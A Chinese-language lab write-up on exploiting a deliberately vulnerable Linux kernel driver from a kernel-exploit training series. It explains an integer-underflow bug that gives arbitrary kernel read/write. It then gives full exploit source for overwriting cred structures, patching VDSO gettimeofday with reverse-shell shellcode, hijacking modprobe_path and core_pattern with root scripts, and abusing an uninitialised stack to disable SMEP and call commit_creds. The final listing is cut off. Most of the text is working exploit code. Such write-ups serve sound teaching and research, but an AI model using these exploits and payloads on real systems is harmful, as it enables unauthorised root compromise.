驱动提权实战
题目网址:https://github.com/bsauce/kernel_exploit_series
业务流程
ioctl
先分析下驱动程序
static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args)
{
int ret;
unsigned long *p_arg = (unsigned long *)args;
ret = 0;
switch(cmd) {
...
case ARBITRARY_RW_INIT:
{
init_args i_args;
int ret;
if(copy_from_user(&i_args, p_arg, sizeof(init_args)))
return -EINVAL;
ret = arbitrary_rw_init(&i_args);
break;
}
case ARBITRARY_RW_REALLOC:
{
realloc_args r_args;
if(copy_from_user(&r_args, p_arg, sizeof(realloc_args)))
return -EINVAL;
ret = realloc_mem_buffer(&r_args);
break;
}
case ARBITRARY_RW_READ:
{
read_args r_args;
if(copy_from_user(&r_args, p_arg, sizeof(read_args)))
return -EINVAL;
ret = read_mem_buffer(r_args.buff, r_args.count);
break;
}
case ARBITRARY_RW_SEEK:
{
seek_args s_args;
if(copy_from_user(&s_args, p_arg, sizeof(seek_args)))
return -EINVAL;
ret = seek_mem_buffer(&s_args);
break;
}
case ARBITRARY_RW_WRITE:
{
write_args w_args;
if(copy_from_user(&w_args, p_arg, sizeof(write_args)))
return -EINVAL;
ret = write_mem_buffer(&w_args);
break;
}
...
return ret;
}
ioctl内核心的分支就上面几个
read流程
先看看看读分支
static int read_mem_buffer(char __user *buff, size_t count)
{
if(g_mem_buffer == NULL)
return -EINVAL;
loff_t pos;
int ret;
pos = g_mem_buffer->pos;
if((count + pos) > g_mem_buffer->data_size)
return -EINVAL;
ret = copy_to_user(buff, g_mem_buffer->data + pos, count);
return ret;
}
主要逻辑是,用户传来的参数count和pos相加,判断是否大于g_mem_buffer->data_size。然后从g_mem_buffer->data + pos读数据。
也就是说要控制的参数是
1、g_mem_buffer->pos
2、g_mem_buffer->data_size
3、g_mem_buffer->data
因此,我们希望data_size能尽可能的大,而且data的位置是已知的,才能精确的任意地址读
g_mem_buffer->pos
static int seek_mem_buffer(seek_args *s_args)
{
if(g_mem_buffer == NULL)
return -EINVAL;
if(s_args->new_pos < g_mem_buffer->data_size) {
g_mem_buffer->pos = s_args->new_pos;
return g_mem_buffer->pos;
}
else
return 0;
}
通过seek_mem_buffer设置,但要通过data_size的校验
data_size / data
static int realloc_mem_buffer(realloc_args *args)
{
if(g_mem_buffer == NULL)
return -EINVAL;
size_t new_size;
char *new_data;
//We can overflow size here by making new_size = -1
if(args->grow)
new_size = g_mem_buffer->data_size + args->size;
else
new_size = g_mem_buffer->data_size - args->size;
//new_size here will equal 0 krealloc(..., 0) = ZERO_SIZE_PTR
new_data = krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);
//missing check for return value ZERO_SIZE_PTR
if(new_data == NULL)
return -ENOMEM;
g_mem_buffer->data = new_data;
g_mem_buffer->data_size = new_size;
printk(KERN_INFO "[x] g_mem_buffer->data_size = %lu [x]\n", g_mem_buffer->data_size);
return 0;
}
用户传递的数据生成new size。这里我们想让data_size最大,而data为一个确定值。
所以这里有个溢出漏洞,让 args->size == g_mem_buffer->data_size + 1。那么new_size = g_mem_buffer->data_size - args->size得到的值为-1(最大值)。
krealloc的时候size = - 1 + 1 = 0;
在kmalloc size == 0的时候,会返回固定地址0x10。
这时候就得到了g_mem_buffer->data 为 0x10,g_mem_buffer->data_size = new_size为全F最大值。
但是这里所有函数开头的时候都会判断一下g_mem_buffer是否为空,为空则不走接下来的流程。所以要对g_mem_buffer进行初始化。在arbitrary_rw_init流程里。
static int arbitrary_rw_init(init_args *args)
{
if(args->size == 0 || g_mem_buffer != NULL)
return -EINVAL;
g_mem_buffer = kmalloc(sizeof(mem_buffer), GFP_KERNEL);
if(g_mem_buffer == NULL)
goto error_no_mem;
g_mem_buffer->data = kmalloc(args->size, GFP_KERNEL);
if(g_mem_buffer->data == NULL)
goto error_no_mem_free;
g_mem_buffer->data_size = args->size;
g_mem_buffer->pos = 0;
printk(KERN_INFO "[x] Allocated memory with size %lu [x]\n", g_mem_buffer->data_size);
return 0;
error_no_mem:
return -ENOMEM;
error_no_mem_free:
kfree(g_mem_buffer);
return -ENOMEM;
}
主要初始化了g_mem_buffer和设置了data_size和pos的值。(这个地方data_size不能设置的很大,不然kmalloc分配不下来)
write流程
static int write_mem_buffer(write_args *w_args)
{
if(g_mem_buffer == NULL)
return -EINVAL;
int ret;
loff_t pos;
size_t count;
count = w_args->count;
pos = g_mem_buffer->pos;
if((count + pos) > g_mem_buffer->data_size)
return -EINVAL;
ret = copy_from_user(g_mem_buffer->data + pos, w_args->buff, count);
return ret;
}
和read几乎一样。
cred提权
攻击思路
主要思想为,通过prctl设置一个字符串在自己的task_struct里面,然后cred也在里面。接着遍历内核的直接映射区,找到自己设置的字符串,也就找到自己的cred的位置了。
需要注意的一点是,在64位系统下,直接映射区会映射全部的物理内存,也就是在用户态程序保存的字符串也会被扫描到,因此在找到字符串后需要判断下是否是内核态地址。
内核相关数据结构
thread_info
struct thread_info {
struct task_struct *task; /* main task structure */ // <--------------------重要
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
task_struct
//裁剪过后
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
... ...
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
/* file system info */
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
... ...
};
cred
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
EXP
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <sys/prctl.h>
#ifndef _VULN_DRIVER_
#define _VULN_DRIVER_
#define DEVICE_NAME "vulnerable_device"
#define IOCTL_NUM 0xFE
#define DRIVER_TEST _IO (IOCTL_NUM, 0)
#define BUFFER_OVERFLOW _IOR (IOCTL_NUM, 1, char *)
#define NULL_POINTER_DEREF _IOR (IOCTL_NUM, 2, unsigned long)
#define ALLOC_UAF_OBJ _IO (IOCTL_NUM, 3)
#define USE_UAF_OBJ _IO (IOCTL_NUM, 4)
#define ALLOC_K_OBJ _IOR (IOCTL_NUM, 5, unsigned long)
#define FREE_UAF_OBJ _IO(IOCTL_NUM, 6)
#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM, 7, unsigned long)
#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM, 8, unsigned long)
#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM, 9, unsigned long)
#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM, 10, unsigned long)
#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM, 11, unsigned long)
#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM, 12, unsigned long)
#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM, 13, unsigned long)
#endif
#define START_ADDR 0xffff880000000000
#define END_ADDR 0xffffc80000000000
typedef struct seek_args {
loff_t new_pos;
}seek_args;
typedef struct read_args {
char *buff;
size_t count;
}read_args;
typedef struct write_args {
char *buff;
size_t count;
}write_args;
typedef struct init_args {
size_t size;
}init_args;
typedef struct realloc_args {
int grow;
size_t size;
}realloc_args;
int read_mem(int fd, size_t addr, char *buff, int count)
{
seek_args arg1;
arg1.new_pos = addr - 0x10; // base 是 0x10, 所以这里要减去
ioctl(fd, ARBITRARY_RW_SEEK, &arg1);
read_args arg2;
arg2.buff = buff;
arg2.count = count;
int ret = ioctl(fd, ARBITRARY_RW_READ, &arg2);
return ret;
}
int write_mem(int fd, size_t addr, char *buff, int count)
{
seek_args arg1;
arg1.new_pos = addr - 0x10;
ioctl(fd, ARBITRARY_RW_SEEK, &arg1);
write_args arg2;
arg2.buff = buff;
arg2.count = count;
int ret = ioctl(fd, ARBITRARY_RW_WRITE, &arg2);
return ret;
}
int main()
{
printf("main %p",main);
//char *target = "findASentence11";
char target[16];
strcpy(target, "findASentence11");
prctl(PR_SET_NAME,target);
int fd = open("/dev/vulnerable_device", O_RDWR);
if (fd < 0) {
puts("open error!");
exit(-1);
}
init_args arg1;
arg1.size = 0x100;
ioctl(fd, ARBITRARY_RW_INIT, &arg1); //设置data_size = 0x100
realloc_args arg2;
arg2.grow = 0;
arg2.size = 0x100 + 1;
// 需要一个非常大的data_size绕过判断,如果直接在init里设置,会无法分配而失败。
// realloc里有个整数翻转漏洞 可以使实际分配的data最小,而data_size最大
// new_data_size = data_size - arg2.size
// data_size = 0xffffffffff (0x10 = kmalloc(0))
// data = 0x10
ioctl(fd, ARBITRARY_RW_REALLOC, &arg2);
char buff[0x1000] = {0};
size_t result = 0;
size_t cred = 0;
size_t real_cred = 0;
int i = 0;
for(size_t addr = START_ADDR; addr < END_ADDR; addr += 0x1000) {
read_mem(fd, addr, buff, 0x1000);
result = memmem(buff, 0x1000, target, 16);
i++;
if(i % 10000 == 0) {
puts("no find ~ continue");
}
if(result) {
printf("[+] Find try2findmesauce at : %p\n",result);
cred = *(size_t *)(result - 8);
real_cred = *(size_t *)(result - 16);
if((result && 0xff00000000000000) && (cred && 0xff00000000000000) && (real_cred == cred)) {
printf("find my cred!\n");
printf("my cred is : %p\n", cred);
break;
}
}
}
if(result == 0) {
printf("no find~\n");
exit(-1);
}
int root_cred[12];
memset(root_cred, 0, 28);
write_mem(fd, cred, root_cred, 28);
if(getuid() == 0) {
printf("get rootshell !\n");
system("/bin/sh");
} else {
printf("something wrong!\n");
exit(-1);
}
return 0;
}
VDSO提权
攻击思路
VDSO介绍
VDSO内核为了提高某些常用的系统调用效率而提供的一个功能。他把内核一些函数页映射到了用户空间,在用户空间形成一个虚拟的so文件映射(实际上这个文件并不存在)。当用户态进程想进行某些系统调用的使用,可以直接访问这个虚拟的so映射里的函数,相当于直接访问内核代码,不必需要用户态到内核态的转换。
它的页表有个特点,在内核态,这段代码是可写的。但是在用户态的映射,它是不可写的。(同一块物理内存,同时映射到了内核态和用户态两块区域)
vdso存在以下函数:
和readelf -s 效果是一样的。
思路
由于这段代码在内核态是可以改的。如果有任意地址写,可以再内核态把VDSO的gettimeofday代码改成一段shellcode。然后当某个root用户进程执行了gettimeofday这个函数,就会执行我们预埋的shellcode。这段shellcode做了一个反弹shell的操作。此时我们就可以得到一个rootshell。
那么还有个问题,要改gettimeofday的代码,这个函数的地址怎么获得?
我们可以先把vdso.so导出来,看看这些函数的偏移。
先进入shell,随便找个进程,cat /porc/$$/maps可以看到当前进程的vsdo用户态地址。
(开了ASLR之后,每个进程的VDSO代码是会随机化的,这也是VDSO相比于vsyscall的优势)
找到当前进程的地址后,用dd命令导出/proc/$$/mem里面的物理内存。保存成vdso.so,然后用IDA分析就可以看到了。
可以看到gettimeofday字符串的偏移地址和gettimeofday代码的偏移地址。
然后我们需要一个任意地址读漏洞,去爆破内核地址,找到gettimeofday字符串的内核真实地址。
然后用真实地址 - gettimeofday字符串偏移得到vdso在内核态的基址。
然后基址 + gettimeofday代码段的偏移就得到代码段的真实地址了。
接着我们就可以把shellcode写进gettimeofday代码段。等待一个root进程调用gettimeofday函数,就可以反弹得到root shell。
EXP
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <sys/prctl.h> //prctl
#include <sys/auxv.h> //AT_SYSINFO_EHDR
#ifndef _VULN_DRIVER_
#define _VULN_DRIVER_
#define DEVICE_NAME "vulnerable_device"
#define IOCTL_NUM 0xFE
#define DRIVER_TEST _IO (IOCTL_NUM, 0)
#define BUFFER_OVERFLOW _IOR (IOCTL_NUM, 1, char *)
#define NULL_POINTER_DEREF _IOR (IOCTL_NUM, 2, unsigned long)
#define ALLOC_UAF_OBJ _IO (IOCTL_NUM, 3)
#define USE_UAF_OBJ _IO (IOCTL_NUM, 4)
#define ALLOC_K_OBJ _IOR (IOCTL_NUM, 5, unsigned long)
#define FREE_UAF_OBJ _IO(IOCTL_NUM, 6)
#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM, 7, unsigned long)
#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM, 8, unsigned long)
#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM, 9, unsigned long)
#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM, 10, unsigned long)
#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM, 11, unsigned long)
#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM, 12, unsigned long)
#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM, 13, unsigned long)
#endif
#define START_ADDR 0xffffffff80000000
#define END_ADDR 0xffffffffffffefff
typedef struct seek_args {
loff_t new_pos;
}seek_args;
typedef struct read_args {
char *buff;
size_t count;
}read_args;
typedef struct write_args {
char *buff;
size_t count;
}write_args;
typedef struct init_args {
size_t size;
}init_args;
typedef struct realloc_args {
int grow;
size_t size;
}realloc_args;
int read_mem(int fd, size_t addr, char *buff, int count)
{
seek_args arg1;
arg1.new_pos = addr - 0x10; // base 是 0x10, 所以这里要减去
ioctl(fd, ARBITRARY_RW_SEEK, &arg1);
read_args arg2;
arg2.buff = buff;
arg2.count = count;
int ret = ioctl(fd, ARBITRARY_RW_READ, &arg2);
return ret;
}
int write_mem(int fd, size_t addr, char *buff, int count)
{
seek_args arg1;
arg1.new_pos = addr - 0x10;
ioctl(fd, ARBITRARY_RW_SEEK, &arg1);
write_args arg2;
arg2.buff = buff;
arg2.count = count;
int ret = ioctl(fd, ARBITRARY_RW_WRITE, &arg2);
return ret;
}
int init_dev(int fd){
init_args arg1;
arg1.size = 0x100;
ioctl(fd, ARBITRARY_RW_INIT, &arg1); //设置data_size = 0x100
realloc_args arg2;
arg2.grow = 0;
arg2.size = 0x100 + 1;
// 需要一个非常大的data_size绕过判断,如果直接在init里设置,会无法分配而失败。
// realloc里有个整数翻转漏洞 可以使实际分配的data最小,而data_size最大
// new_data_size = data_size - arg2.size
// data_size = 0xffffffffff (0x10 = kmalloc(0))
// data = 0x10
int ret = ioctl(fd, ARBITRARY_RW_REALLOC, &arg2);
return ret;
}
int main(){
int fd = open("/dev/vulnerable_device", O_RDWR);
if (fd < 0) {
puts("open error!");
exit(-1);
}
init_dev(fd);
int vdso_addr = 0;
char buff[0x1000] = {0};
for(size_t addr = START_ADDR; addr < END_ADDR; addr += 0x1000) {
read_mem(fd, addr, buff, 0x1000);
//int result = memmem(buff, 0x1000, "gettimeofday", 12);
if(!strcmp("gettimeofday",buff+0x2cd)) {
vdso_addr = addr;
printf("find vdso addr : 0x%lx\n", vdso_addr);
break;
}
}
if(vdso_addr == 0) {
printf("no find vdso addr\n");
exit(-1);
}
char shellcode[]="\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
size_t gtdTextAddr = vdso_addr + 0xC80;
write_mem(fd, gtdTextAddr, shellcode, strlen(shellcode));
sleep(1);
system("nc -lp 3333");
return 0;
}
modprobe_path提权
内核当用execve执行了一个未知格式的二进制程序的时候,会以root权限调用modprobe_path指向的modprobe程序(或者脚本)。
modprobe_path是一个全局变量,存在内核的镜像区。
如果有一个任意地址写漏洞,修改了modprobe_path的内容,使其指向一个恶意的脚本。
这个脚本把另一个恶意程序chown root,然后chmod 4777 。当运行这个恶意程序的时候,会以root权限运行,那么在这个恶意程序内写上setresuid和system("/bin/sh")就能提权了。
攻击思路
1、利用内核里面的gettimeofday函数字符串,用任意地址读,找到对应字符串的地址
2、通过这个地址减去偏移,找到VDSO的基址
3、vdso基址&0xffffffffff000000找到内核镜像基址
4、内核镜像基址 + modprobe_path的偏移得到modprobe_path的地址(modprobe_path的偏移通过cat /proc/kallsyms得到)
5、用任意地址写,把modprobe_path改成/tmp/1.sh
6、用system执行一个格式非法的二进制程序(/tmp/aaa)
这里会遇到几个坑:
1、/tmp/aaa这个程序的文件头必须是不可见字符(echo -ne “\\xff\\xff” > /tmp/aaa)
2、当执行setresuid,system之后,环境变量可能会改变,导致找不到libc.so文件而执行不了,所以恶意程序应该用静态编译的方法
(gcc -o getshell -static getshell.c)
3、环境变量的导入可以写在init脚本里面,注意要写在执行/bin/sh之前才能被执行到(export LD_LIBRARY_PATH=/lib64)
EXP
1.sh
#!/bin/sh
chown 0 /tmp/getshell
chmod 4777 /tmp/getshell
getshell.c
#include <stdlib.h>
#include <unistd.h>
int main()
{
setresuid(0,0,0);
//execve("/bin/sh",NULL,NULL);
system("/bin/sh");
return 0;
}
myexp_modprobe.c
//核心代码,函数部分和前面的一样
int main(){
int fd = open("/dev/vulnerable_device", O_RDWR);
if (fd < 0) {
puts("open error!");
exit(-1);
}
init_dev(fd);
size_t vdso_addr = 0;
char buff[0x1000] = {0};
for(size_t addr = START_ADDR; addr < END_ADDR; addr += 0x1000) {
read_mem(fd, addr, buff, 0x1000);
//int result = memmem(buff, 0x1000, "gettimeofday", 12);
if(!strcmp("gettimeofday",buff+0x2cd)) {
vdso_addr = addr;
printf("find vdso addr : 0x%lx\n", vdso_addr);
break;
}
}
if(vdso_addr == 0) {
printf("no find vdso addr\n");
exit(-1);
}
size_t kernel_base = vdso_addr & 0xffffffffff000000;
size_t modprobe_path_addr = kernel_base + 0xe4b7a0; //cat kallsyms
size_t core_pattern = kernel_base + 0xe8b220;
char evil_script[] = {"/tmp/1.sh\0"};
write_mem(fd, modprobe_path_addr, evil_script, strlen(evil_script)+1);
system("/tmp/aaa");
return 0;
}
效果:
core_pattern提权
core_pattern是内核区域的一个全局变量,在程序异常退出后,内核会找到core_pattern的值(默认是core)作为core dump的文件名存储进程崩溃时的信息用于调试。
但是core_pattern也可以是当进程崩溃后,内核以root的权限执行一个脚本,此时core_pattern的值为"|xxx.sh"。
如果有个任意地址写,把core_pattern的值改成恶意脚本,利用方式类似modprobe_path提权。就可以获得root shell。
攻击思路
1、利用内核里面的gettimeofday函数字符串,用任意地址读,找到对应字符串的地址
2、通过这个地址减去偏移,找到VDSO的基址
3、vdso基址&0xffffffffff000000找到内核镜像基址
4、内核镜像基址 + modprobe_path的偏移得到core_pattern的地址(core_pattern的偏移通过cat /proc/kallsyms得到)
5、用任意地址写,把core_pattern改成"|/tmp/1.sh"(注意前面有个管道符)
6、*(int *)0 = 0; 触发程序coredump
EXP
//核心代码,函数部分和前面的一样
int main(){
int fd = open("/dev/vulnerable_device", O_RDWR);
if (fd < 0) {
puts("open error!");
exit(-1);
}
init_dev(fd);
size_t vdso_addr = 0;
char buff[0x1000] = {0};
for(size_t addr = START_ADDR; addr < END_ADDR; addr += 0x1000) {
read_mem(fd, addr, buff, 0x1000);
//int result = memmem(buff, 0x1000, "gettimeofday", 12);
if(!strcmp("gettimeofday",buff+0x2cd)) {
vdso_addr = addr;
printf("find vdso addr : 0x%lx\n", vdso_addr);
break;
}
}
if(vdso_addr == 0) {
printf("no find vdso addr\n");
exit(-1);
}
size_t kernel_base = vdso_addr & 0xffffffffff000000;
size_t modprobe_path_addr = kernel_base + 0xe4b7a0; //cat kallsyms
size_t core_pattern = kernel_base + 0xe8b220;
char evil_script[] = {"|/tmp/1.sh\0"};
write_mem(fd, core_pattern, evil_script, strlen(evil_script)+1);
//system("/tmp/aaa");
*(int *)0 = 0;
return 0;
}
修改内核指针提权(未初始化栈)
代码分析
noinline static int copy_to_stack(char __user *user_buff)
{
int ret;
char buff[BUFF_SIZE];
ret = copy_from_user(buff, user_buff, BUFF_SIZE);
buff[BUFF_SIZE - 1] = 0;
return ret;
}
noinline static void use_stack_obj(use_obj_args *use_obj_arg)
{
volatile stack_obj s_obj;
if(use_obj_arg->option == 0)
{
s_obj.fn = uninitialised_callback;
s_obj.fn_arg = use_obj_arg->fn_arg;
}
s_obj.fn(s_obj.fn_arg);
}
主要过程是
1、可以调用copy_to_stack去往栈上布局一些东西
2、use_stack_obj当option不为0的时候,会使用未初始化的局部变量,使用变量值做函数调用
攻击思路
由于函数返回后,栈上的数据不会清空。所以在下次调用函数的时候,栈上的数据仍然在。这时如果使用了未初始化的变量,就可能用到上个栈的数据。
所以总体思路是,在用户态布局commit_creds(prepare_kernel_cred(0)),然后把地址用copy_to_stack写到栈上对应位置,然后调用use_stack_obj触发使用未初始化的局部变量漏洞,调用用户态函数。
但是有几个点要绕过
1、由于是内核态调用用户态代码,所以需要绕过当前内核的smep(pxn)
2、需要绕过KASLR
所以总体思路是:
1、只允许让进程在单核上运行,以免关闭了一个核的smep,然后执行用户代码的时候在另一个核执行。
//让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
void force_single_core()
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
return;
}
2、构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
// 触发page_fault 泄露kernel基址
void do_page_fault()
{
struct use_obj_args use_obj =
{
.option=1,
.fn_arg=1337,
};
int child_fd=open(PATH, O_RDWR);
ioctl(child_fd, UNINITIALISED_STACK_USE, &use_obj);
return ;
}
//从dmesg读取打印信息,泄露kernel基址
#define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak"
size_t get_info_leak()
{
system(GREP_INFOLEAK);
size_t addr=0;
FILE *fd=fopen("/tmp/infoleak","r");
fscanf(fd,"%lx",&addr);
fclose(fd);
return addr;
}
int main()
{
...
// step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
pid_t pid=fork();
if (pid==0){
do_page_fault();
exit(0);
}
int status;
wait(&status); // 等子进程结束
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
native_write_cr4_addr+=kernel_base;
prepare_kernel_cred_addr+=kernel_base;
commit_creds_addr+=kernel_base;
printf("[+] We can get 3 important function address ![+]\n");
printf(" native_write_cr4_addr = %p\n",native_write_cr4_addr);
printf(" prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr);
printf(" commit_creds_addr = %p\n",commit_creds_addr);
...
}
这里泄露内核地址的时候,会先调用一次未初始化栈的漏洞,此时栈上的数据时脏数据,然后内核执行了之后,会跳到一个不知道什么的地方去执行代码,此时内核发现VMA未建立,会产生一个page fault错误。
这时候内核会报一个错误在dmesg里,会带上内核的调用栈,通过查看dmesg的内容就可以泄露内核地址。
但是,内核crash了为什么不会崩?
原因是page fault错误报的是Oops类型的错误,并不是panic。
内核对待Oops类型的错误时会做一个判断,有三种情况会崩
1、中断处理过程中发生的错误
2、设置了/proc/sys/kernel/panic_on_oops设置的值是1
3、qemu启动中带有oops=panic panic=1语句
其他情况内核都是会只关闭产生错误的进程并记录日志而已。
这也是上面代码要fork一个子进程的原因。
dmesg日志类似这样:
利用泄露的内核地址可以绕过KASLR。(offset都可以从/proc/kallsyms获得)
得到内核基址时候就可以找到commit_creds、prepare_kernel_cred的真实地址
3、关闭smep
// step 3: 关闭smep
char buf[4096];
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj={
.option=1,
.fn_arg=1337,
};
for (int i=0; i<4096; i+=16)
{
memcpy(buf+i, &fake_cr4, 8); // 注意是fake_cr4所在地址
memcpy(buf+i+8, &native_write_cr4_addr, 8); // 注意是native_write_cr4_addr所在地址
}
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
CR4寄存器保存着当前cpu的smep等是否开启,但我们没法直接修改CR4寄存器,内核有个函数叫native_write_cr4,cr4寄存器的值当成参数传进去就可以帮忙修改。
注意到上面的未初始化栈漏洞是会对栈上的一个地址做函数调用并把栈上另一个地方的值当做参数的
noinline static void use_stack_obj(use_obj_args *use_obj_arg)
{
volatile stack_obj s_obj;
if(use_obj_arg->option == 0)
{
s_obj.fn = uninitialised_callback;
s_obj.fn_arg = use_obj_arg->fn_arg;
}
s_obj.fn(s_obj.fn_arg);
}
所以在栈上布局好native_write_cr4的地址和cr4寄存器的值就可以让驱动去调用修改了。
4、提权,执行get_root();
size_t prepare_kernel_cred_addr=0xa6ca0;
size_t commit_creds_addr=0xa68b0;
size_t native_write_cr4_addr=0x65a30;
size_t sys_ioctl_offset=0x22bc59;
size_t fake_cr4=0x407f0;
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main()
{
...
// step 4: 提权,执行get_root(); 注意是把get_root()的地址拷贝过去,转一次
size_t get_root_addr = &get_root;
memset(buf, 0, sizeof(buf));
for (int i=0; i<4096; i+=8)
memcpy(buf+i, &get_root_addr, 8);
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
// step 5: 获得shell
if (getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
...
}
这时候我们已经布局好了commit_creds(prepare_kernel_cred(0)),再触发一次未初始化栈调用执行我们的getroot函数就行了。
注意,真实的commit_creds、prepare_kernel_cred地址要用内核基址+偏移。
EXP
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#ifndef _VULN_DRIVER_
#define _VULN_DRIVER_
#define DEVICE_NAME "vulnerable_device"
#define IOCTL_NUM 0xFE
#define DRIVER_TEST _IO (IOCTL_NUM,0)
#define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *)
#define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long)
#define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3)
#define USE_UAF_OBJ _IO (IOCTL_NUM,4)
#define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long)
